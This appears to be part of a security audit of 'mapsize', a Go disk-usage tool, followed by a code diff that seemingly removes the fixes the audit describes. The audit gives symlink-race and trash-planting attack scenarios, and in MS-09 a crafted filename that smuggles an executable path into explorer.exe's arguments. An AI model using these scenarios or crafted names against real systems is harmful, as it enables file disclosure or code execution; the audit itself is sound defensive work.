`os.MkdirAll("/Volumes/X/.Trashes/<uid>", 0700)` silently accepts an existing directory or a symlink to one that another user planted on a shared or ignore-ownership volume. Files would then be moved into a location the attacker controls. The Linux code already defended against this with `ensurePrivateDir`.
#### Attack Scenario
On a shared external volume, Mallory creates `.Trashes/501 -> /Volumes/X/mallory-readable/`. User 501 trashes `payroll.xlsx`, and Mallory can now read it.
#### Impact
Disclosure of trashed files.
#### Recommendation and Safer Example
`ensurePrivateDir` was moved to a shared `trash_unix.go` (linux or darwin). Darwin now calls it with `strict=true` for volume trashes, which requires a real directory owned by the user with no group or other access.
#### Suggested Tests
`TestEnsurePrivateDirRejectsSymlink` already covers the helper. A macOS CI job running the platform tests is recommended.
#### References
CWE-59, CWE-276.
#### Assumptions / Limitations
`.Trashes` itself is not checked. The final directory being 0700 and owned by the user limits exposure, but the parent's owner could still rename it.
---
### Finding ID: MS-06
#### Title
CI workflow runs with the default `GITHUB_TOKEN` permissions
#### Severity
Low
#### Confidence
High
#### Affected Files / Components
`.github/workflows/ci.yml`
#### Description
There was no `permissions:` block, so jobs received the repository or organisation default token scope, which is write access on older repositories. The workflow runs third-party actions and `go test` (which executes arbitrary test code and dependencies). A compromised action or dependency could therefore push to the repository.
#### Recommendation
`permissions: contents: read` was added at the workflow level.
#### References
CWE-250, OpenSSF Scorecard "Token-Permissions".
#### Assumptions / Limitations
Whether the repository default is read-only could not be checked from here.
---
### Finding ID: MS-07
#### Title
Snapshot `follow` metadata displayed unsanitised
#### Severity
Informational
#### Confidence
High
#### Affected Files / Components
`internal/tui/infoview.go` (`line("Follow symlinks", st.Follow, …)`)
#### Description
Every other snapshot metadata string (root, excludes, the `FromSnapshot` string) goes through `textutil.Sanitize`. `Follow` did not. The canvas's own control-character filter, together with zero-width clusters being dropped, meant this was **not exploitable**: hostile bytes were replaced with `?`. It is fixed for consistency with the documented invariant.
#### Recommendation
Use `textutil.Sanitize(st.Follow)` (done).
#### References
CWE-150.
#### Assumptions / Limitations
None.
---
### Finding ID: MS-08
#### Title
Scanner opens directories by path, so a symlink-swap race redirects the scan
#### Severity
Low
#### Confidence
Medium
#### Affected Files / Components
`internal/platform/readdir_linux.go`, `readdir_bsd.go` (`unix.Open(path, O_RDONLY|O_DIRECTORY)`), and `internal/scan/scan.go` `makeJob`/`worker`.
#### Description
Entries are `lstat`'d relative to the directory fd, but each pending directory is later opened by its full path. A directory that was a real directory at `lstat` time can be swapped for a symlink before the worker opens it, and the scan then descends into the target. With `--follow-symlinks=none` the visited set is disabled, so a fast toggler can make the scan revisit or inflate subtrees until `PATH_MAX`.
#### Attack Scenario
Eve toggles `/home/eve/a` between a directory and a symlink to `/`. Root's scan of `/home` then includes parts of `/`, so totals are wrong. With repeated wins it can grow memory and time, bounded by path length.
#### Impact
Inaccurate inventory, wasted time and memory. Nothing is read beyond metadata and nothing is written. However, the inventory could then offer root's files to trash under Eve's path; MS-01's owner check now blocks that.
#### Recommendation
Pass a "followed" bit with each job and open non-followed directories with `O_NOFOLLOW`. For a full fix, keep a parent fd per job and use `openat(parentfd, name, O_NOFOLLOW|O_DIRECTORY)`, or `openat2(RESOLVE_BENEATH|RESOLVE_NO_SYMLINKS)` on Linux 5.6+. Also compare `fstat(dirfd)` with the scanned (dev, ino).
#### Safer Example
```go
fd, err := unix.Open(path, unix.O_RDONLY|unix.O_DIRECTORY|unix.O_CLOEXEC|unix.O_NOFOLLOW, 0)
// then: unix.Fstat(fd,&st); if st.Dev!=want.Dev||st.Ino!=want.Ino { return errChanged }
```
#### Suggested Tests
A test with a toggling goroutine that asserts no node outside the root's device and inode set appears.
#### References
CWE-367, CWE-59.
#### Assumptions / Limitations
This was left open because a partial `O_NOFOLLOW` on the final component only does not stop swaps of intermediate components. The real fix is the fd-relative redesign, which is larger than an audit fix should be.
---
### Finding ID: MS-09
#### Title
Windows "reveal" passes hostile names to `explorer.exe`'s non-standard parser
#### Severity
Low
#### Confidence
Low
#### Affected Files / Components
`internal/platform/ops_windows.go` `Reveal` (`startDetached("explorer.exe", "/select,", path)`).
#### Description
`explorer.exe` parses its own command line and treats commas as switch separators. Go quotes arguments using MSVCRT rules, which Explorer may not honour. A filename containing `,` (legal on Windows) might be split into additional Explorer switches or paths. If Explorer is given a path to an executable, it launches it.
#### Attack Scenario (unverified)
A file named `x,C:\Users\Public\evil.exe` must exist for `checkAbs` to pass. Revealing it might make Explorer open or run `evil.exe`.
#### Recommendation
Verify on Windows. If the behaviour is confirmed, refuse paths containing `,` or `"`, or use `SHOpenFolderAndSelectItems` through COM, which takes a PIDL and does no parsing.
#### Suggested Tests
A manual Windows test with comma-bearing names.
#### References
CWE-88 (argument injection).
#### Assumptions / Limitations
This could not be tested here, so it was not changed.
---
### Finding ID: MS-10
#### Title
Actions pinned to mutable tags; release artifacts unsigned
#### Severity
Low
#### Confidence
High
#### Affected Files / Components
`.github/workflows/ci.yml` (`actions/checkout@v4`, `actions/setup-go@v5`) and the `Makefile` `release`/`brew-formula` targets.
#### Description
Tags can be moved by a compromised upstream. `make release` writes an unsigned `SHA256SUMS`. `brew-formula` trusts the first `curl` of GitHub's tarball, a trust-on-first-use approach. `nfpm` is fetched through `go run …@v2.41.1`, which is pinned and verified by the Go checksum database. That is good.
#### Recommendation
- Pin actions by commit SHA, with Dependabot keeping them current.
- Sign releases with Sigstore `cosign sign-blob` or minisign, and/or publish SLSA provenance through GitHub's attest-build-provenance.
- Build releases in CI rather than on a workstation.
#### References
SLSA L2/L3, OpenSSF Scorecard "Pinned-Dependencies" and "Signed-Releases".
#### Assumptions / Limitations
The commit SHAs could not be verified offline, so the workflow was not changed here.
---
### Finding ID: MS-11
#### Title
Trash identity check has residual gaps
#### Severity
Informational
#### Confidence
High
#### Affected Files / Components
`internal/platform/ops_windows.go` and `trash_unix.go`.
#### Description
- On Windows, `Expect` is ignored: the scan records no owner or inode, and `SHFileOperationW` works by path.
- On Unix, the check compares owner and file type, not inode, because `inventory.Node` does not store (dev, ino). A swapped parent that leads to a same-named item with the same owner and type is still accepted. Exploiting this needs a target owned by the attacker or by the item's original owner, so there is no cross-user gain, except where root-owned items sit in attacker-writable directories.
#### Recommendation
Store `Ino`/`Dev` for files that are candidates for trashing, or re-`Lstat` before confirmation and keep the parent fd open across the dialog. On Windows, use `IFileOperation` with a handle opened with `FILE_FLAG_OPEN_REPARSE_POINT` and check the file ID.
#### References
CWE-367.
#### Assumptions / Limitations
None.
---
### Finding ID: MS-12
#### Title
Duplicate hashing and reveal re-resolve paths through intermediate symlinks
#### Severity
Informational
#### Confidence
High
#### Affected Files / Components
`internal/duplicate/duplicate.go` (`open`) and `internal/platform/ops_*.go` (`Reveal`).
#### Description
After MS-04, the final component is not followed, but intermediate components are. An attacker can make the duplicate finder hash a different same-size file. The result is a false "identical" report about files the user could already read. Hash prefixes are only shown locally, so there is no disclosure to the attacker. Reveal can open a file manager at a different directory.
#### Recommendation
Use the same fd-relative traversal as MS-08 if that is implemented. Until then, the trash owner check (MS-01) prevents acting destructively on such a report.
#### References
CWE-59.
#### Assumptions / Limitations
None.
---
### Finding ID: MS-13
#### Title
Snapshots are integrity-checked but not authenticated, and contain host and user metadata
#### Severity
Informational
#### Confidence
High
#### Affected Files / Components
`internal/snapshot/snapshot.go`
#### Description
The SHA-256 trailer is unkeyed. It detects corruption, not forgery: anyone can craft a valid file, which is how the hostile tests work. Snapshots contain full paths, uid and gid, mtimes, and the hostname. The files are created 0600 (`os.CreateTemp`) and renamed atomically, which is good.
#### Recommendation
Document that snapshots are sensitive, and that their contents are only as trustworthy as their source. If provenance ever matters, add an optional Ed25519 signature; for long-lived archives, consider ML-DSA or a hybrid. Not otherwise needed.
#### References
CWE-345, CWE-359.
#### Assumptions / Limitations
None.
---
### Finding ID: MS-14
#### Title
JSON export is not terminal-sanitised and is lossy for non-UTF-8 names
#### Severity
Informational
#### Confidence
High
#### Affected Files / Components
`internal/export/export.go` `JSON`/`writeNode`.
#### Description
`encoding/json` escapes C0 characters and replaces invalid UTF-8 with U+FFFD. Raw ESC therefore cannot reach the terminal (verified), but bidi overrides pass through when `--json` is printed to a terminal. Separately, names that are not valid UTF-8 are irreversibly altered, so consumers cannot map entries back to real files.
#### Recommendation
Add a `name_b64` or `name_escaped` field for non-UTF-8 names. Bidi characters in JSON are acceptable for machine consumers.
#### References
CWE-116.
#### Assumptions / Limitations
None.
---
### Finding ID: MS-15
#### Title
Filter parser recursion is unbounded on deeply nested input
#### Severity
Informational
#### Confidence
Medium
#### Affected Files / Components
`internal/filter/parser.go` (`unary` → `or` recursion on `(` and `NOT`).
#### Description
The query is typed by the local user, so this is self-inflicted at most. Pasting about a million `(` characters could approach Go's 1 GB stack limit and crash the process (terminal restoration is not guaranteed on a fatal stack overflow). `FuzzParse` exists.
#### Recommendation
Reject queries longer than about 4 KiB or nested more than about 256 levels.
#### References
CWE-674.
#### Assumptions / Limitations
None.
## 8. Blackhat-Style Abuse Paths
1. **Delete a system file through an administrator's cleanup (MS-01, now fixed).**
- Prerequisite: an attacker-owned directory inside the scanned tree, and root trashing an item in it.
- Chain: plant a large file named like the target, then swap the parent directory for a symlink to `/etc`; root presses `d` and moves `/etc/<name>`.
- Breakpoint: the parent fd is pinned and the owner and type are checked. The remaining gap is a same-owner target (MS-11).
2. **Shell command execution by paste (MS-02, now fixed).**
- Prerequisite: the victim copies a path, from a live scan or from a shared snapshot, and pastes it into a shell without bracketed paste.
- Breakpoint: paths containing control or bidi characters are refused for copying.
3. **"Look at my snapshot" denial of service (MS-03, now fixed).** A tiny crafted `.msz` file caused an OOM; it is now bounded by the node limit.
4. **Wedge the nightly duplicate report (MS-04, now fixed).** `mkfifo` replaces a file that appeared in the scan, and `--duplicates` hung forever.
5. **Scan poisoning (MS-08, open).** Toggling symlinks inflates or falsifies inventory totals. The impact is limited to accuracy, because destructive actions are now identity-checked.
6. **Supply chain (MS-10, open).** A moved action tag or a compromised CI runner could produce tampered release archives with matching unsigned checksums. The breakpoints are SHA pinning and signed provenance.
## 9. Denial-of-Service and Resource Exhaustion Review
**Snapshot loading:**
- The body is limited to `max(64 MiB, 64×file)` and fails during streaming.
- The node count is now ≤ max(1 Mi, file bytes).
- Depth is ≤ 4096, which bounds recursion in the exporters.
- Names are ≤ 64 KiB, extensions ≤ 64 bytes, error messages ≤ 4 KiB, metadata JSON ≤ 16 MiB, and error records ≤ `MaxErrorRecords`.
- Sizes are ≤ 1 EiB, and aggregates are recomputed with saturating arithmetic.
- `gzip.Multistream(false)`; the decompression goroutine is unblocked by `pr.Close()` on early exit, so it does not leak.
**Scanner:**
- The worker pool is bounded (1–1024).
- The job and result channels are bounded, and the controller's select loop cannot deadlock (stress-tested with capacity 1).
- Directory reads are streamed in 1024-entry chunks.
- The write lock is held for at most 8192 entries at a time.
- The pending FIFO uses O(directories) × 8 bytes.
- The hard-link and visited maps grow with the number of inodes, which is inherent.
- Virtual filesystems (procfs and similar) are skipped, so `/proc/kcore` does not dominate a scan of `/`.
- The MS-08 race is the only input-driven amplification found.
**Duplicate finder:** a bounded worker pool (4), a 16 KiB sample buffer per worker, streaming SHA-256, and context checks between files and groups. The blocking FIFO open is fixed (MS-04). A reader blocked inside `read(2)` on a hung network filesystem still cannot be cancelled, which is inherent to file I/O.
**Filter:** RE2 runs in linear time, so there is no ReDoS. `filepath.Match` is polynomial. `Apply` checks `ctx` every 65,536 nodes. Unbounded nesting is covered by MS-15.
**TUI:** renders at most once per frame from a cache; resize storms cost one layout per frame; the 10 Hz tick runs only while needed.
**Exporters:** stream output, with recursion bounded by depth (4096 for snapshots, and the real filesystem depth for live scans).
## 10. Cryptography and Key Management Review
- **Algorithms in use:** SHA-256 for the snapshot integrity trailer and for duplicate content identity. Both are appropriate.
- Duplicate identity requires a full-file SHA-256 match after the size and sample stages. Size and sampling are never treated as identity.
- **No encryption, signatures, MACs, tokens, passwords, TLS or randomness for security purposes.** `math/rand` appears only in `cmd/treegen`, a deterministic generator of synthetic test trees, which is a correct use.
- **Weak algorithms:** none present (no MD5, SHA-1, DES, RC4 or ECB).
- **Constant-time comparison:** `bytes.Equal` on the snapshot checksum is fine, because the value is not secret.
- **TLS:** the only network access is `curl -fsSL` in `make brew-formula`, which uses verified HTTPS by default; no flag disables verification.
- **Key management:** there are no keys.
- **Post-quantum:** there is no confidentiality-bearing cryptography, so there is no harvest-now-decrypt-later exposure. SHA-256's roughly 128-bit collision resistance against quantum attack is adequate. If signed snapshots or releases are added, use Ed25519 now and consider ML-DSA or a hybrid for long-lived artifacts (MS-10, MS-13).
## 11. Secrets Lifecycle and In-Memory Credential Review
- **At rest:** a search of source, tests, config and history found no secrets, keys, tokens or credentials. `.gitignore` excludes `bin/`, `*.msz`, `*.prof` and `*.test`.
- **Configuration:** `config.json` holds only display and scan preferences. No environment variables carry secrets; the variables read are `XDG_*`, `NO_COLOR`, `COLORTERM`, `MAPSIZE_ASCII` and `MAPSIZE_DEBUG_PANIC`.
- **In transit:** there is no network traffic, except the curl call in the Makefile, which uses a public URL.
- **In memory:** the application holds no credentials, so zeroisation, mlock and core-dump controls are not applicable.
- The process does hold full path listings of the scanned tree. When running as root, a core dump could expose directory structure the dumping user cannot otherwise see. This is low risk, inherent, and no worse than `du`.
- **Diagnostic exposure:**
- `--cpuprofile` and `--memprofile` write pprof files to paths the user specifies. They are created through `os.Create`, so with mode 0666 minus umask. Heap profiles contain path strings.
- There is no network pprof or debug listener.
- `MAPSIZE_DEBUG_PANIC` only causes a deliberate panic to test terminal restoration.
- **Logs:** `--log` is opened 0600 in append mode. slog's text handler quotes values that contain control characters, so log injection is neutralised. Logged content is limited to paths and errors.
- **Clipboard:** OSC 52 sends paths to the terminal emulator, and over SSH to the local machine's clipboard. That is intended; MS-02 hardened it.
## 12. Memory and Resource Safety Review
- **Native and FFI:** there is no cgo; builds use `CGO_ENABLED=0`. The only `unsafe` use is in `ops_windows.go`:
- `shFileOpStruct` mirrors `SHFILEOPSTRUCTW` for 64-bit and is guarded by a `unsafe.Sizeof(uintptr(0)) != 8` check.
- `pFrom` is a double-NUL-terminated UTF-16 slice that stays alive through the call, because `u` is referenced by `op` on the stack.
- `syscall.UTF16FromString` rejects embedded NULs.
- The struct layout matches Win64 natural alignment.
- This is sound, with low residual risk on ARM64 Windows, which uses the same LLP64 layout.
- **Syscalls through x/sys:** `Statx`, `Fstatat`, `Renameat` and `Open` take Go-managed buffers, so there is no manual memory management.
- **Untrusted parsers:** the snapshot decoder validates every length against a maximum before `make([]byte, n)`. One subtlety remains: `bytesN` allocates `n` bytes before reading. With `MaxMetaLen` at 16 MiB and `MaxNameLen` at 64 KiB this is bounded per call, and on truncation the allocation is freed. Varint overflow is handled, and parent references are validated so that cycles are impossible.
- **Integer overflow:** sizes are capped at 2^60 so that sums cannot wrap. `Recompute` saturates. `uint32` counts could wrap above 4 billion files, which is unrealistic.
- **Unbounded growth:** covered in §9. The UI caches are bounded by data version and screen size.
## 13. Dependency and Supply-Chain Review
- **Direct dependencies:** `rivo/uniseg` v0.4.7 and `golang.org/x/sys` v0.48.0. **Indirect:** the Charm stack (`bubbletea/v2` v2.0.10, `ultraviolet`, which is a pre-release pseudo-version, `x/ansi`, `colorprofile`, and others), `go-runewidth`, `displaywidth`, `uax29`, `go-colorful`, `cancelreader`, `xo/terminfo`, and `x/sync`. All are mainstream and actively maintained, and `go.sum` pins them all.
- `govulncheck ./...` (latest) reports **no vulnerabilities**.
- **Install-time scripts:** Go modules have none. The `Makefile` `release` target uses `go run github.com/goreleaser/nfpm/v2/cmd/nfpm@v2.41.1`, which is version-pinned and checked against the checksum database.
- **CI:** read-only token (fixed, MS-06). Actions are pinned by tag (MS-10, open). Matrix cross-builds and race tests are present.
- **Packaging:** nfpm installs `/usr/bin/mapsize` and the man page with mode 0644. There are no maintainer scripts and no setuid bits. The Homebrew formula builds from source.
## 14. Authentication and Authorisation Review
There is no authentication, by design: mapsize runs with the invoking user's privileges.
The authorisation-relevant control is `--read-only`. It blocks trash (`requestTrash`), and trash is also refused in snapshot mode, while a scan is running, and for the root node. Reveal, copy and snapshot saving remain allowed; this is documented and none of them modify the scanned tree.
Running as root is the main privilege concern: MS-01 is now mitigated, and MS-08 and MS-11 are residual.
## 15. Input Validation and Output Encoding Review
- **Terminal output:**
- `textutil.Sanitize` escapes C0, DEL, C1 and bidi controls and replaces invalid UTF-8.
- The canvas rejects control characters a second time and drops zero-width clusters.
- Clusters whose width is ambiguous (ZWJ sequences) are replaced, so layout cannot be spoofed.
- Every CLI report path (`Table`, `Summary`, compare, duplicates, error messages in `main`) sanitises its output.
- The existing tests check that hostile names never put ESC or OSC sequences into a frame. Verified.
- **CSV:** paths are sanitised. **Formula injection was checked and is not possible:** the scan root is made absolute (`filepath.Abs`), so every row starts with `/` or a drive letter, never `= + - @`.
- **JSON:** see MS-14.
- **Trashinfo:** `Path=` is URL-escaped with `url.URL{Path}.EscapedPath()`, so newlines and `%` cannot inject keys.
- **Exec:** helpers are always given absolute paths (`checkAbs`) as single argv entries, so a path cannot be read as an option, and no shell is used. Windows is the exception, covered by MS-09.
- **Config:** colours are parsed strictly as `#rrggbb`, the refresh rate is clamped to 1–60, and worker counts are bounded to 1–1024.
- **Filter:** errors carry positions, and regex compile errors are reported to the user.
## 16. Frontend HTML/JavaScript Robustness Review
Not applicable: there is no HTML or JavaScript. The equivalent for this project is the terminal UI:
- Bubble Tea recovers panics in `Update` and `View`, and scanner panics are routed through `scan.OnPanic`, so the terminal is always restored. This is tested via `MAPSIZE_DEBUG_PANIC`.
- Async results (trash, duplicates, filter, save) are tagged with their tree or finder, and stale results are dropped (`trashDoneMsg.tree`, `dupDoneMsg.finder`).
- Lock discipline (one `RLock` per entry point) is documented and followed. A grep of `RLock` call sites matched the documented entry points.
## 17. Infrastructure and Deployment Review
There are no containers, servers or IaC. Packages install a single static binary that is not setuid. `make install` uses `install -Dm755`/`-Dm644` under `$(DESTDIR)$(PREFIX)`. Releases are built with `-trimpath -s -w` and `CGO_ENABLED=0`; reproducibility is plausible but not verified. Signing and provenance are covered by MS-10.
## 18. Logging, Monitoring, and Error Handling Review
- Errors are surfaced, not swallowed. Scan errors are classified, counted, listed in the UI, and shown in `Summary` with an "incomplete" warning.
- Error strings shown to the user go through `Sanitize`.
- Some `bw.Write` return values are ignored in `Save` and `JSON`, but the final `Flush` reports the sticky error, so this is safe.
- `pprof.StartCPUProfile` errors are ignored, which is a minor debugging-only issue.
- The trash path removes its `.trashinfo` file on failure (now tested).
- Logging is opt-in, the log file is 0600, and output is quoted.
## 19. Test Coverage and Security Regression Gaps
**Existing coverage:** hostile snapshots (depth, bomb, sizes, metadata), fuzzers (`FuzzLoad`, `FuzzSquarify`, `FuzzParse`), scan stress under backpressure, terminal-injection frames, and trash symlink and permission cases.
**Added in this audit:**
- `TestTrashRefusesSwappedItem`
- `TestCopyRefusesControlCharacters`
- `TestFindSkipsSwappedFIFO`
- `TestNodeAmplificationLimited`
**Gaps:**
- No macOS or Windows CI run of the platform trash and reveal code (the CI matrix runs `go test`, but the platform tests are Linux-only).
- No race test with a symlink toggler for the scanner (MS-08).
- No test for `--read-only` blocking every mutating key.
- No test for parser nesting depth (MS-15).
- No `config.Load` tests with malformed values.
## 20. Prioritised Remediation Plan
- **Immediate (done):** MS-01, MS-02, MS-03, MS-04, MS-05, MS-06, MS-07.
- **Short term:**
- Verify MS-09 on Windows and refuse comma paths, or switch to `SHOpenFolderAndSelectItems`.
- Pin actions by SHA and add Dependabot (MS-10).
- Cap filter query length and nesting (MS-15).
- **Medium term:**
- Scan directories fd-relatively with (dev, ino) verification (MS-08), and reuse that traversal for duplicate hashing and reveal (MS-12).
- Store the inode identity of trash candidates (MS-11).
- Add macOS and Windows platform tests to CI.
- **Long term:**
- Signed releases and SLSA provenance (MS-10).
- Optional signed snapshots (MS-13).
- Lossless JSON names (MS-14).
## 21. False Positives / Needs Manual Verification
- **MS-09:** needs a Windows run.
- **MS-05:** reasoned for macOS but not executed there.
- **Checked and not issues:**
- CSV formula injection (the root is absolute).
- Log injection (slog quotes values).
- ReDoS (RE2).
- Varint overflow and cycle creation in snapshots (validated).
- Shell injection (no shell anywhere).
- ESC reaching the terminal through JSON (escaped by `encoding/json`).
- The trashinfo `Path=` key (URL-escaped).
- The snapshot temporary file (0600, atomic rename, removed on failure).
## 22. Final Notes
**Residual risk** is concentrated in path re-resolution after the scan (MS-08, MS-11, MS-12) when mapsize runs privileged over trees that other users can write to. The recommended operating practice until the fd-relative redesign: as root, prefer `--read-only` for exploration, and trash items only in trees that untrusted users cannot write to.
**Limitations of this audit:**
- Only Linux code was executed.
- macOS and Windows code was reviewed and cross-compiled with `go vet` only.
- Repository settings on GitHub were not visible.
- The user committed `ab3ff7b` (Homebrew formula) concurrently during the audit; it was reviewed and is unaffected.
+4 -8
View File
@@ -1,5 +1,5 @@
.\" Manual page for mapsize. View with: man -l docs/mapsize.1
.TH MAPSIZE 1 "October 2026" "mapsize 1.2.0" "User Commands"
.TH MAPSIZE 1 "October 2026" "mapsize 1.0.0" "User Commands"
.SH NAME
mapsize \- interactive terminal disk usage analyser with a navigable treemap
.SH SYNOPSIS
@@ -95,7 +95,7 @@ Useful over SSH, where \fBCOLORTERM\fR is often not forwarded.
Disable mouse support. Everything works from the keyboard.
.TP
.B \-\-read\-only
Disable every action that modifies the filesystem (trash and delete) and
Disable every action that modifies the filesystem (moving to trash) and
show \fBREAD ONLY\fR in the header. Saving a snapshot file is still
allowed. This does not make
.B mapsize
@@ -223,14 +223,10 @@ Toggle allocated / logical size.
Copy the selected path to the clipboard (OSC 52; terminal support varies).
.TP
.B o
Reveal the selected item in the desktop file manager. On a headless system
(no \fBDISPLAY\fR or \fBWAYLAND_DISPLAY\fR), show the folder in the map
instead.
Reveal the selected item in the desktop file manager.
.TP
.BR d ", " Delete
Move the selected item to the trash after confirmation. On a headless
Linux or BSD system, where nothing would empty the trash, delete it
permanently instead after a confirmation that says so. Disabled with
Move the selected item to the trash after confirmation. Disabled with
\fB\-\-read\-only\fR, for snapshots, and while scanning.
.TP
.B s
+1 -1
View File
@@ -8,4 +8,4 @@ const (
)
// Version is stamped at release time via -ldflags -X.
var Version = "1.2.0"
var Version = "1.0.0"
+1 -2
View File
@@ -18,7 +18,6 @@ import (
"sync/atomic"
"github.com/andydixon/mapsize/internal/inventory"
"github.com/andydixon/mapsize/internal/platform"
)
// Group is a set of files verified to have identical content.
@@ -227,7 +226,7 @@ func (f *Finder) splitHash(ctx context.Context, g []cand, workers int) []fullGro
// open opens a candidate and checks it still has the inventoried size.
func open(c cand) (*os.File, bool) {
fh, err := platform.OpenContent(c.path)
fh, err := os.Open(c.path)
if err != nil {
return nil, false
}
-51
View File
@@ -1,51 +0,0 @@
//go:build unix
package duplicate
import (
"context"
"os"
"path/filepath"
"syscall"
"testing"
"time"
"github.com/andydixon/mapsize/internal/scan"
)
// A candidate replaced by a FIFO (or a symlink to one) after the scan must
// be skipped, not block the search forever in open(2).
func TestFindSkipsSwappedFIFO(t *testing.T) {
root := t.TempDir()
for _, n := range []string{"a", "b", "c"} {
os.WriteFile(filepath.Join(root, n), []byte("same"), 0o644)
}
s, err := scan.Start(context.Background(), root, scan.Options{Workers: 1})
if err != nil {
t.Fatal(err)
}
<-s.Done()
os.Remove(filepath.Join(root, "b"))
if err := syscall.Mkfifo(filepath.Join(root, "b"), 0o644); err != nil {
t.Skip("mkfifo:", err)
}
fifo2 := filepath.Join(t.TempDir(), "p")
syscall.Mkfifo(fifo2, 0o644)
os.Remove(filepath.Join(root, "c"))
os.Symlink(fifo2, filepath.Join(root, "c"))
done := make(chan error, 1)
var f Finder
go func() { _, err := f.Find(context.Background(), s.Tree, Options{}); done <- err }()
select {
case err := <-done:
if err != nil {
t.Fatal(err)
}
case <-time.After(5 * time.Second):
t.Fatal("duplicate search blocked on a FIFO")
}
if p := f.Progress(); p.Skipped != 2 {
t.Fatalf("skipped=%d want 2", p.Skipped)
}
}
-35
View File
@@ -1,35 +0,0 @@
//go:build unix
package platform
import (
"errors"
"io/fs"
"os"
"path/filepath"
"syscall"
)
// Delete permanently removes path (recursively for a directory) if it still
// matches want. The check and the removal both go through an os.Root on the
// parent directory, so a symlink swapped in since the scan cannot redirect
// the removal outside it.
func Delete(path string, want Expect) error {
if err := checkAbs(path); err != nil {
return err
}
dir, base := filepath.Dir(path), filepath.Base(path)
root, err := os.OpenRoot(dir)
if err != nil {
return err
}
defer root.Close()
fi, err := root.Lstat(base)
if err != nil {
return err
}
if fi.Sys().(*syscall.Stat_t).Uid != want.UID || fi.Mode()&fs.ModeType != want.Mode&fs.ModeType {
return errors.New("item changed since the scan (owner or type differs); rescan first")
}
return root.RemoveAll(base)
}
-8
View File
@@ -1,8 +0,0 @@
//go:build !unix
package platform
import "os"
// OpenContent opens a file whose content is about to be read.
func OpenContent(path string) (*os.File, error) { return os.Open(path) }
-15
View File
@@ -1,15 +0,0 @@
//go:build unix
package platform
import (
"os"
"syscall"
)
// OpenContent opens a file whose content is about to be read. It does not
// follow a final symlink, and O_NONBLOCK keeps a FIFO swapped in since the
// scan from blocking open(2) forever; callers still check the file type.
func OpenContent(path string) (*os.File, error) {
return os.OpenFile(path, os.O_RDONLY|syscall.O_NOFOLLOW|syscall.O_NONBLOCK, 0)
}
-8
View File
@@ -2,7 +2,6 @@ package platform
import (
"errors"
"io/fs"
"os"
"os/exec"
"path/filepath"
@@ -20,13 +19,6 @@ func startDetached(name string, args ...string) error {
return nil
}
// Expect is what the scan recorded for an item about to be trashed. Trash
// refuses an item whose owner or file type no longer matches.
type Expect struct {
UID uint32
Mode fs.FileMode // only the type bits are compared
}
// checkAbs guards helper invocations: an absolute path can never be parsed
// as an option by the helper program.
func checkAbs(path string) error {
+4 -13
View File
@@ -21,7 +21,7 @@ func Reveal(path string) error {
// Trash moves path into ~/.Trash (same volume) or the volume's
// .Trashes/<uid> directory. It never copies and never deletes.
func Trash(path string, want Expect) error {
func Trash(path string) error {
if err := checkAbs(path); err != nil {
return err
}
@@ -34,13 +34,8 @@ func Trash(path string, want Expect) error {
dirs = append(dirs, filepath.Join(vol, ".Trashes", fmt.Sprint(os.Getuid())))
}
base := filepath.Base(path)
for vi, dir := range dirs {
if err := os.MkdirAll(filepath.Dir(dir), 0o700); err != nil {
continue
}
// A volume trash is on a shared filesystem: another user could plant
// a symlink or an open directory there, so insist on a private one.
if err := ensurePrivateDir(dir, vi > 0); err != nil {
for _, dir := range dirs {
if err := os.MkdirAll(dir, 0o700); err != nil {
continue
}
for i := 1; i < 10000; i++ {
@@ -52,7 +47,7 @@ func Trash(path string, want Expect) error {
if _, err := os.Lstat(dst); err == nil {
continue
}
err := renameChecked(path, dst, want)
err := os.Rename(path, dst)
if errors.Is(err, syscall.EXDEV) {
break // try the next trash location
}
@@ -75,7 +70,3 @@ func volumeOf(path string) string {
}
return ""
}
// Headless is always false: macOS has Finder and the Trash even without
// $DISPLAY (which it does not use).
func Headless() bool { return false }
+27 -9
View File
@@ -29,7 +29,7 @@ func Reveal(path string) error {
// Trash moves path to the freedesktop.org trash: the home trash when on the
// same filesystem, otherwise $topdir/.Trash-$uid on the item's filesystem.
// It never copies across filesystems and never deletes.
func Trash(path string, want Expect) error {
func Trash(path string) error {
if err := checkAbs(path); err != nil {
return err
}
@@ -99,7 +99,7 @@ func Trash(path string, want Expect) error {
os.Remove(ip)
return errors.Join(werr, cerr)
}
if err := renameChecked(path, dst, want); err != nil {
if err := os.Rename(path, dst); err != nil {
os.Remove(ip)
return err
}
@@ -108,6 +108,31 @@ func Trash(path string, want Expect) error {
return errors.New("trash: too many items with the same name")
}
// ensurePrivateDir creates dir (mode 0700) if missing; an existing entry must
// be a real directory (not a symlink) owned by us. With strict (trash on a
// shared filesystem) it must also be inaccessible to others, as the
// freedesktop.org spec requires; home trash directories made by desktop
// environments are sometimes 0755, which is harmless there.
func ensurePrivateDir(dir string, strict bool) error {
if err := os.Mkdir(dir, 0o700); err != nil && !errors.Is(err, os.ErrExist) {
return err
}
fi, err := os.Lstat(dir)
if err != nil {
return err
}
st := fi.Sys().(*syscall.Stat_t)
switch {
case !fi.IsDir():
return errors.New("not a directory (symlink?)")
case int(st.Uid) != os.Getuid():
return errors.New("owned by another user")
case strict && fi.Mode().Perm()&0o077 != 0:
return errors.New("accessible to other users")
}
return nil
}
// mountTop returns the top directory of the filesystem containing path.
func mountTop(path string, dev uint64) string {
cur := filepath.Dir(path)
@@ -123,10 +148,3 @@ func mountTop(path string, dev uint64) string {
cur = parent
}
}
// Headless reports whether there is no graphical session (no X or Wayland
// display), so there is no file manager to open and no desktop trash anyone
// will empty.
func Headless() bool {
return os.Getenv("DISPLAY") == "" && os.Getenv("WAYLAND_DISPLAY") == ""
}
+3 -94
View File
@@ -16,7 +16,7 @@ func TestTrashFreedesktop(t *testing.T) {
if err := os.WriteFile(victim, []byte("x"), 0o644); err != nil {
t.Fatal(err)
}
if err := Trash(victim, want(t, victim)); err != nil {
if err := Trash(victim); err != nil {
t.Fatal(err)
}
if _, err := os.Lstat(victim); !os.IsNotExist(err) {
@@ -32,13 +32,13 @@ func TestTrashFreedesktop(t *testing.T) {
}
// A second item with the same name gets a distinct trash name.
os.WriteFile(victim, []byte("y"), 0o644)
if err := Trash(victim, want(t, victim)); err != nil {
if err := Trash(victim); err != nil {
t.Fatal(err)
}
if _, err := os.Lstat(trashed + ".2"); err != nil {
t.Fatal("collision not handled")
}
if err := Trash("relative/path", Expect{}); err == nil {
if err := Trash("relative/path"); err == nil {
t.Fatal("relative paths must be refused")
}
}
@@ -62,94 +62,3 @@ func TestEnsurePrivateDirRejectsSymlink(t *testing.T) {
t.Fatal(err)
}
